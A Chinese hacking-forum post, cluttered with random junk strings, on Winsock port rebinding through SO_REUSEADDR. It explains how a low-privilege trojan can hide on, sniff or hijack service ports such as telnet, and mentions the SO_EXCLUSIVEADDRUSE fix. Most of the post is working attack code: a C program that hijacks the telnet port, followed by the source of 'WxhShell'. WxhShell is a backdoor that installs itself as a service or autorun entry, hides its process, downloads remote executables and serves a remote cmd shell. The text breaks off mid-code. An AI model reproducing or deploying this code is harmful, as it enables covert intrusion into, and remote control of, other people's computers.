-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K0>zxqY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {wKB;?fUvk sgFEK[w.y saddr.sin_family = AF_INET; [W&T(%(W- 0 H:X3y+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7@Qcc t4A >[#f\bG> bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hVY$;s !Uo4,g6r+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WyiQoN'q upmx $H> 这意味着什么?意味着可以进行如下的攻击: xqh !a\^Sk
/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2,b$7xaf g_bLl)g< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $&c*'3 W>r+h-kR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /n&&Um\ 9(Xn>G'iT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 8s@3hXD& :ws<-Qy 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f o3}W^0 "{t$nVJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +}AI@+
SpBy3wd 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sI2^Qp@O1 KI.hy2?e #include }@)[5N#A| #include 4xj4=C~i #include yHaGkm #include DlJo^|5 DWORD WINAPI ClientThread(LPVOID lpParam); bN.Pex int main() Y]a@j! { 0jfuBj5! WORD wVersionRequested; 7tp36 TE DWORD ret; U<XG{<2 WSADATA wsaData; zt%Mx>V@ BOOL val; 7_t'( /yu SOCKADDR_IN saddr; ALHIGJW:6$ SOCKADDR_IN scaddr; fP1!)po int err; 5)40/cBe SOCKET s; j>kqz>3 SOCKET sc; {;oPLr+Z int caddsize; W,u:gzmhw HANDLE mt; 6eCCmIdaM DWORD tid; %so]L+r2! wVersionRequested = MAKEWORD( 2, 2 ); '+
?X err = WSAStartup( wVersionRequested, &wsaData ); W g!
Lfu if ( err != 0 ) { l,).p printf("error!WSAStartup failed!\n"); !r-F>!~ return -1; >Q*Wi } rN>R|]. saddr.sin_family = AF_INET; d;>QhoiL qQa}wcU'9p //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CC`JZ.SO I1J-)R+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +ge?w#R saddr.sin_port = htons(23); dr"1s-D4IQ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i/.6>4tE: { '%;m?t%q printf("error!socket failed!\n"); 05R@7[GWq return -1; EM_d8o)`B } Wn6Sn{8W{ val = TRUE; MK*r+xfSae //SO_REUSEADDR选项就是可以实现端口重绑定的 {8etv:y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ort(AfW { OrW printf("error!setsockopt failed!\n"); \7_y%HR return -1; n"8Yv~v*2j } {..6>fS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n{jGOfc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n+p }\msH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jWgX_//! {{1G`;|v9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YYS0` { g2]Qv@nxw ret=GetLastError(); ykJ>*z printf("error!bind failed!\n"); ` %}RNC return -1; kf9X$d6 } y>LBl] listen(s,2); 8,|k ao: while(1) 5twhm { T4F/w|Q caddsize = sizeof(scaddr); j1Ezf=N6` //接受连接请求 NlXimq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "jCu6Rj d if(sc!=INVALID_SOCKET) 9u_Pj2%56. { 0`H#
'/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q\)-BXw: if(mt==NULL) kcEeFG;DQ { /Kbl%u printf("Thread Creat Failed!\n"); |uDdHX8T break; #E]59_
} 2qp#N% } QL* IiFR CloseHandle(mt); `h;[TtIX4 } $d4n"+7 closesocket(s); =c7;r]Ol WSACleanup(); a{e4it return 0; kVL.PY\K } N g,j# DWORD WINAPI ClientThread(LPVOID lpParam) ;}t(Wnu. { $xQL]FmS SOCKET ss = (SOCKET)lpParam; +[P{&\d4} SOCKET sc; %)wjR/o unsigned char buf[4096]; D{!IW!w SOCKADDR_IN saddr; v0y(58Rz. long num; j.YA2mr DWORD val; 0$njMnB2l DWORD ret; vv7I_nK? //如果是隐藏端口应用的话,可以在此处加一些判断 F}zDfY\- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 F!do~Z saddr.sin_family = AF_INET; svSVG:48 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); snJ129}A saddr.sin_port = htons(23); g78^9Y*1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3CJwj { {b{s<@? printf("error!socket failed!\n"); =Sv/IXX\di return -1; -HuA
\0J } \DzGQ{`~m val = 100; Y ay?=Y{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (#'>(t(4 { j39wA~K ret = GetLastError(); #1[u(<AS return -1; xkn;,`t^lJ } a9 G8q>h]O if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S[N5 ikg { F\!
`/4 ret = GetLastError(); +q oRP2 return -1;
l^qI,M } *8Z32c+C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >V~E]P%@ { a
=QCp4^ printf("error!socket connect failed!\n"); /o[w4d8 closesocket(sc); VE24ToI?W" closesocket(ss); O84i;S+-p return -1; ^s=8!=A( } #S(Hd?34, while(1) $?Wb}DU7_L { Uv.)?YeGh //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ise-O1' //如果是嗅探内容的话,可以再此处进行内容分析和记录 ..qCPlK; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c:0L+OF}xY num = recv(ss,buf,4096,0); ;fJ.8C if(num>0) (?c-iKGc send(sc,buf,num,0); 2?5>o!C else if(num==0) N0lC0
N?_J break; :0ep(<|; num = recv(sc,buf,4096,0); . ^u,. if(num>0) z}@7'_iJ send(ss,buf,num,0); ]q.0!lh+WL else if(num==0) q@&6#B break; H. c7Nle } R2; closesocket(ss); g{Rd=1SK] closesocket(sc); KP"+e:a% return 0 ; g :OI } \8
":]EU aYeR{Y] rUl+ ========================================================== y(&Ac[foS} a}d@
T 下边附上一个代码,,WXhSHELL VQs5"K" }#J/fa9
! ========================================================== qLCR] _* p 'k0#R$ #include "stdafx.h" /{[o~:'p ZG:{[sT #include <stdio.h> %)|s1B'd #include <string.h> %C0Dw\A*: #include <windows.h> @ 7u 0v #include <winsock2.h> B1gR5p 0 #include <winsvc.h> 43w}qY1 #include <urlmon.h> GB^B r6 edD)TpmE, #pragma comment (lib, "Ws2_32.lib") G5!^*jf #pragma comment (lib, "urlmon.lib") UBs4K*h|
vIvIfE #define MAX_USER 100 // 最大客户端连接数 )_:NLo: #define BUF_SOCK 200 // sock buffer *hrvYil2b #define KEY_BUFF 255 // 输入 buffer "&] -2( C^){.UGmJ #define REBOOT 0 // 重启 0"R|..l/ #define SHUTDOWN 1 // 关机 TzZq(?V Pfh mo $ #define DEF_PORT 5000 // 监听端口 3R/bz0 V> Smh,zCc>s #define REG_LEN 16 // 注册表键长度 \*da6Am #define SVC_LEN 80 // NT服务名长度 h;Qk@F l}h!B_P' // 从dll定义API 2eogY# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m'U0'}Ld}; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 46x'I( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;"I^ZFYX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @iiT< Q59suL // wxhshell配置信息 _{>vTBU4F struct WSCFG { =wJX0A| int ws_port; // 监听端口 Y2TtY; char ws_passstr[REG_LEN]; // 口令 `V1]k_h int ws_autoins; // 安装标记, 1=yes 0=no #mT"gs char ws_regname[REG_LEN]; // 注册表键名 Ef\-VKh char ws_svcname[REG_LEN]; // 服务名 LeQjvW9y char ws_svcdisp[SVC_LEN]; // 服务显示名 r%_djUd char ws_svcdesc[SVC_LEN]; // 服务描述信息 wzA$'+Mb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aXVFc5C\ int ws_downexe; // 下载执行标记, 1=yes 0=no bcyzhK= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 965jtn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "%_+-C<L4 W^Yxny }; DXo|.!P=3 !i50QA|(G // default Wxhshell configuration mw!F{pw struct WSCFG wscfg={DEF_PORT, R-:2HRaA "xuhuanlingzhe", _$'ashF 1, HQ g^
h "Wxhshell", \zY!qpX< "Wxhshell", [
3Gf2_ "WxhShell Service", b
6p|q_e "Wrsky Windows CmdShell Service", T%Lx%Qn "Please Input Your Password: ", :h$$J
lP 1, eRYK3W " http://www.wrsky.com/wxhshell.exe", Wzh`or "Wxhshell.exe" yfSmDPh }; "[k3kAm i. "v4D // 消息定义模块 . vV|hSc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UZMd~| char *msg_ws_prompt="\n\r? for help\n\r#>"; F847pyOJnf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; M7T5
~/4 char *msg_ws_ext="\n\rExit."; bsX[UF char *msg_ws_end="\n\rQuit."; I0-MRU~[K char *msg_ws_boot="\n\rReboot..."; pb}*\/s char *msg_ws_poff="\n\rShutdown..."; L#J1b!D&<6 char *msg_ws_down="\n\rSave to "; tc! #wd+u WLT"ji0w2 char *msg_ws_err="\n\rErr!"; +2{Lh7Ks char *msg_ws_ok="\n\rOK!"; vQCy\Gi l-Z4Mq6*L char ExeFile[MAX_PATH]; TDh5lI
int nUser = 0; #] QZ HANDLE handles[MAX_USER]; XwmL.Gg:]7 int OsIsNt; [~HN<>L@C siI;"? SERVICE_STATUS serviceStatus; Upe%rC( SERVICE_STATUS_HANDLE hServiceStatusHandle; u_enqC3 ?
t|[? // 函数声明 nUO0Ce int Install(void); T[gv0|+ int Uninstall(void); ]DcFySyv int DownloadFile(char *sURL, SOCKET wsh); HtFDlvdy] int Boot(int flag); $Yq9P0Ya void HideProc(void); zfU{Kd int GetOsVer(void); U/U);frH int Wxhshell(SOCKET wsl); icgfB-1|i void TalkWithClient(void *cs); l**X^+=$ int CmdShell(SOCKET sock); t_^4`dW` int StartFromService(void); )pa]ui\t int StartWxhshell(LPSTR lpCmdLine); ~}P,.QQ &ncvGDGi VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XSRsGTCC= VOID WINAPI NTServiceHandler( DWORD fdwControl ); AH^/V}9H I,tud!p` // 数据结构和表定义 +[VXs~I
q SERVICE_TABLE_ENTRY DispatchTable[] = Psf#c:*_) { kmW4:EA% {wscfg.ws_svcname, NTServiceMain}, Y4-t7UlS; {NULL, NULL} 'DR!9De }; hb$Ce'}N 7dWS // 自我安装 qPNR`%}Q int Install(void) R_C) { _f83-':W6 char svExeFile[MAX_PATH]; (=0.in Z HKEY key; ~$'awY strcpy(svExeFile,ExeFile); V0@=^Bls e+WNk
2 // 如果是win9x系统,修改注册表设为自启动 }#fbbtd if(!OsIsNt) { l#o
~W` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aN?zmkPpov RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /:
"1Z]@ RegCloseKey(key); =bOW~0Z1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )`:UP~)H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Ze1s02( RegCloseKey(key); \e*]Ls#jS return 0; 0kh6@y3 } M%HU4pTW#o } I9Xuok!0>= } ye&;(30Oq else { nlP;nl W ~ljXzD93Z // 如果是NT以上系统,安装为系统服务 0J9x9j`&j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lA]8&+,ZM if (schSCManager!=0) ?,mmYW6TjB { 1}x%%RD_ SC_HANDLE schService = CreateService /m1\ iM\ ( zX[U~. schSCManager, ';CNGv - wscfg.ws_svcname, 0mE 0 j wscfg.ws_svcdisp, Ud?Q%)X SERVICE_ALL_ACCESS, ^qs $v06 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %b$>qW\*& SERVICE_AUTO_START, _6Sp QW SERVICE_ERROR_NORMAL, q V=!ORuj svExeFile, )9g2D`a4 NULL, |Cv!,]9:r NULL, (.:e,l{U% NULL, y[;>#j$ NULL, l?e.9o2- NULL WWY6ha ); yWK)vju" if (schService!=0) D.:Zx { ?,z}%p CloseServiceHandle(schService); j2k"cmsKh CloseServiceHandle(schSCManager); wk^B"+Uhy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IGl9g_18 strcat(svExeFile,wscfg.ws_svcname); M`_0C38
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HMXE$d=[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O.? JmE RegCloseKey(key); _BufO7`. return 0; &C}*w2]0S } =_CzH(=f# } rq{$,/6. CloseServiceHandle(schSCManager); }BEB1Q}L } w;M#c
Y } 81F9uM0 vM={V$D& return 1; pa+hL,w{6 } :OT& pglVR </ // 自我卸载 E.h*g8bXe int Uninstall(void) 0GwR~Z}Z { 6tZI["\ HKEY key; awRX1:T#;O ~N4m1s" if(!OsIsNt) { _`X:jj> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?ub35NLa RegDeleteValue(key,wscfg.ws_regname); P \I|, RegCloseKey(key); 5P bW[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PCA4k.,T RegDeleteValue(key,wscfg.ws_regname); mFeP9MfJ RegCloseKey(key); I%):1\) return 0; :FF=a3/"6 } ?6!LL5a. } P}iE+Z3 } 8ag!K*\V< else { [E_9V%^ 4+n\k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @ Qe0! (_= if (schSCManager!=0) (7Qo { y =@N|f! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7<4qQ.deE if (schService!=0) [g,}gyeS( { Ri'n if(DeleteService(schService)!=0) { l;U?Z'n CloseServiceHandle(schService); lZ0 =;I CloseServiceHandle(schSCManager); 9WHddDA return 0; Gj*9~*xm( } <@}9Bid!o CloseServiceHandle(schService); !>tL6+yj } _F{C\} CloseServiceHandle(schSCManager); 2%1hdA< } PF2nLb2- } *Ex|9FCt$ sLFl!jX return 1; =a!=2VN9y } g0H[*"hj 9uY'E'm* // 从指定url下载文件 E7hhew int DownloadFile(char *sURL, SOCKET wsh) 49P4b<1 { 6zkaOA46V HRESULT hr; $kgVa^ char seps[]= "/"; ;<5q]/IHK char *token; s{++w5s char *file; g}i61( char myURL[MAX_PATH]; c,22*.V/ char myFILE[MAX_PATH]; ?"FbsMk.d l%ZhA=TKQ strcpy(myURL,sURL); 0c&+|>! token=strtok(myURL,seps); <VcQ{F while(token!=NULL) 4 :=]<sc, { _ |p8M!
file=token; $(9U @N9E token=strtok(NULL,seps); Jwp7gYZ } /(T?j!nPE yVc(`,tZ( GetCurrentDirectory(MAX_PATH,myFILE); "KlwA.7/ strcat(myFILE, "\\"); _ m>b2I? strcat(myFILE, file); `6YN3XS send(wsh,myFILE,strlen(myFILE),0); K^$=dLp send(wsh,"...",3,0); ':W[ A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HDKbF/ if(hr==S_OK) P4?glh q# return 0; ddo#P%sH' else BHw, 4#F1; return 1; .
.-hAH 5r_|yu } D0Cy^_ IB<d // 系统电源模块 VX/#1StC int Boot(int flag) fh{`Mz,o { q;U,s)Uz^ HANDLE hToken; 9kojLqCT TOKEN_PRIVILEGES tkp; 7KPwQ?SjT $N\Ja*g if(OsIsNt) { F"<vaqT2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ccnK#fn v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z=FZiH tkp.PrivilegeCount = 1; .-=vx r tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uMv1O{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *kVV+H<X|b if(flag==REBOOT) { ^(<f/C)i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @KA4N` return 0; V:27)]q } S$k&vc(0 else { +{>=^9%X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b2]Kx&! return 0; jIF
|P- } Bf:Q2slqI } B:QHwzd else { BD-AI if(flag==REBOOT) { Q^I\cAIB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nd(S3rct& return 0; .KC++\{HE } @H<q"-J else { m3ff;, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {^'HL return 0; 4~=l}H>& } 0ksa } ]HdCt 3X qa6,z.mQ return 1; Jl<2>@ } lLD12d Z=
!*e~j@ // win9x进程隐藏模块 a:S - void HideProc(void) SB7c.H, { >Se,;cB'/] T)CP2U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /@Zrq#o
zx if ( hKernel != NULL ) v3qA":(w+( { " Jr-J#gg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &[SC|=U'M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kN>!2UfNS FreeLibrary(hKernel); `"~%bS } QM]YJr3rE @P"p+ return; G\?YK.Y> } "]iB6 B?qjkP // 获取操作系统版本 :L;a:xSpn= int GetOsVer(void) "\=U)CJ { i LAscb OSVERSIONINFO winfo; TPY}C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rbpSg7}Q GetVersionEx(&winfo); :ivf/xn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j=J/x:w_e return 1; ?rIx/>C9 else g ci return 0; 0^ibNiSP } '\GbmD^F v}x&?fU ` // 客户端句柄模块 G9:l'\ int Wxhshell(SOCKET wsl) LDD|(KLR*. { UDni]P!E SOCKET wsh; l+R+&b^ struct sockaddr_in client; -(#iIgmP DWORD myID; gO^gxJ'0t =ruao'A while(nUser<MAX_USER) 9C\Fq- { iIogx8[ int nSize=sizeof(client); _y3Xb`0a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lk$B{2^n if(wsh==INVALID_SOCKET) return 1; ;\l,5EG rD>f|kA?L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hL5|69E if(handles[nUser]==0) nLiY%x`S closesocket(wsh); `g})|Gx else )Z
VD+X nUser++; N36_C;K-z } &I406Z f7y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;'Nd~:-] QwJyY{O` return 0; d M-%{ } z~Q>V]a>; 4{l, // 关闭 socket 3t6LT void CloseIt(SOCKET wsh) T5:G$-qL( { l \?c}7k closesocket(wsh); BCcjK6' nUser--; +H
Usz? ExitThread(0); O#u=c1
?: } ,u
g@f-T AFfAtu // 客户端请求句柄 0AV c void TalkWithClient(void *cs) \_U$"/$4VH { Z:7fV5b( TuYCR>P[ SOCKET wsh=(SOCKET)cs; 6i*sm.SDw char pwd[SVC_LEN]; 4,0{7MLgK char cmd[KEY_BUFF]; ;Q&5,<
N)j char chr[1]; h65-s int i,j; -Vhw^T1iV uOGw9O-d9 while (nUser < MAX_USER) { ilva,WFa^ fg{n(TE"8 if(wscfg.ws_passstr) { X~i<g?] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i2^>vYCsl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8h4'(yGQQW //ZeroMemory(pwd,KEY_BUFF); 0<B$#8 i=0; tdaL/rRe while(i<SVC_LEN) { y#$CMf
-q^ e NafpK // 设置超时 $DUZ!zaH! fd_set FdRead;
4YX3+oS struct timeval TimeOut; 7`hP?a= FD_ZERO(&FdRead); &(mR>
mT FD_SET(wsh,&FdRead); -FCe:iY! A TimeOut.tv_sec=8; \_6/vZ%-B TimeOut.tv_usec=0; -7(@1@1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [ps*uva if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jMDY(mwt <1COZ) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9RI-Lq` pwd =chr[0]; m<g~H4 if(chr[0]==0xd || chr[0]==0xa) { {$Gd2gO pwd=0; 9
5RBO4w%w break; t@Nyr&|D } XEZF{lP i++; .@Dxp]/B} } 0k(a VkZ I 19KQlMO.G // 如果是非法用户,关闭 socket 9]wN Bd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m7>JJX3=< } [\b0Lem 8&Y^""#e) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~<OSYb send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L`EBfz\n )Iq <+IJ while(1) { :Qf '2.h) f.`*Qg L ZeroMemory(cmd,KEY_BUFF); 78%~N`x7 <nK?L cP // 自动支持客户端 telnet标准 mcX/GO} j=0; nL.<[]r while(j<KEY_BUFF) { J{&H+rd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r_;Nt cmd[j]=chr[0]; =6|&Jt if(chr[0]==0xa || chr[0]==0xd) { g^ i&gNDx cmd[j]=0; g!z&~Z: break; 1q1jZqno } \A6B,|@ j++; :'&brp3ii= } |WdPE@P 3J438M.ka // 下载文件 Bv%GJ*>> if(strstr(cmd,"http://")) { v+=BCyT send(wsh,msg_ws_down,strlen(msg_ws_down),0); #3 pb(fbw if(DownloadFile(cmd,wsh)) =+MPFhvg! send(wsh,msg_ws_err,strlen(msg_ws_err),0); B\:%ufd
~ else
)sp4Ie send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ([LSsZ]sj } 4u47D$= else { ["e3Ez U\<?z Dw switch(cmd[0]) { 7y@Pa&^8 WYYa/,{9. // 帮助 )$bS}. case '?': { do+.aOC send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kO*$"w#X[p break; TLe~y1dwY= } "?I y (*^ // 安装
2WVka case 'i': { (<oyN7NT if(Install()) ?r 2` Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); LRG6:& else &wE%<"aRAl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o\pVp bB break; TNh1hhJ$b } #PQB(=299P // 卸载 BC<^a )D= case 'r': { K8.!_
c if(Uninstall()) |(LZ9I send(wsh,msg_ws_err,strlen(msg_ws_err),0); dg"3rs /?A else J9iy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X;c'[q break; tX %5BTv } !pdb'*,n // 显示 wxhshell 所在路径 KOuCHqCfq case 'p': { Z//+Gw<' char svExeFile[MAX_PATH]; C"T;Qp~B strcpy(svExeFile,"\n\r"); A_5P/ARmI strcat(svExeFile,ExeFile); !XCm>]R send(wsh,svExeFile,strlen(svExeFile),0); %k?U9pj^ break; ;Q*or2"! } %pd ,%pg // 重启 Z>W g*sZy) case 'b': { 4 bH^":i( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pF Rg?- if(Boot(REBOOT)) y)!5R 3b send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ ,}E else { 5VAK:eB closesocket(wsh); y6,/:qm ExitThread(0); 9!}8UALD } $!yW_HTx break; 1@1U/ss1 } =i*;VFc // 关机 ]4]6Qki case 'd': { usCt#eZK send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aV|hCN~ if(Boot(SHUTDOWN)) LS*y send(wsh,msg_ws_err,strlen(msg_ws_err),0); g^{@'}$ else { m(#LhlX closesocket(wsh); ?fjuh}Q5h ExitThread(0); }h!f eP } T<p !5`B 1 break; EYEnN } h+&OQ%e=8 // 获取shell DBD%6o>]K case 's': {
&NoS=(s, CmdShell(wsh); 8UyMVY closesocket(wsh); ?!cvf{a ExitThread(0); 9Ujo/3,Ak break; [8,yF
D_U } ^ ALly2 // 退出 `a/%W4 case 'x': { t@N=kV send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @u]rWVy;\[ CloseIt(wsh); \$e)*9) break; *b/`Ya4 } E5xzy/ZQ // 离开 ZR]25Yy case 'q': { )~] (& send(wsh,msg_ws_end,strlen(msg_ws_end),0); NzOo0tz: closesocket(wsh); IS
2^g>T#1 WSACleanup(); <_tT<5'[$u exit(1); D
(mj7oB break; ;y\IqiA{o } 4.=3M } cy3B({PLy } cKim- K3;nY}\> // 提示信息 +hT:2TXn if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^,8)iV0j_ } `~Zs0 } QQ ~- EzV96+ return; DV-;4AxxRq } 0#&5.Gr) K4;'/cS // shell模块句柄 Ry K\uv int CmdShell(SOCKET sock) ws|;` { b6F4>@gjg STARTUPINFO si; ^1aAjYFn ZeroMemory(&si,sizeof(si)); MIoEauf si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q&g^c2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MLWM&cFG PROCESS_INFORMATION ProcessInfo; ;\Y&ce char cmdline[]="cmd"; T}P".kpbS CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Kj,9NX{U return 0; @I/]D6
~" } "4H
+!r} ^Z#W_R\l // 自身启动模式 V<@ o<R int StartFromService(void) k"]dK,, { _/!y)&4" typedef struct ;z:UN} { \":m!K;Z DWORD ExitStatus; &8_gRP DWORD PebBaseAddress; SNE#0L'} DWORD AffinityMask; V8-oYwOR DWORD BasePriority; wK-3+&,9 ULONG UniqueProcessId; QxOjOKAG
ULONG InheritedFromUniqueProcessId; %r6y
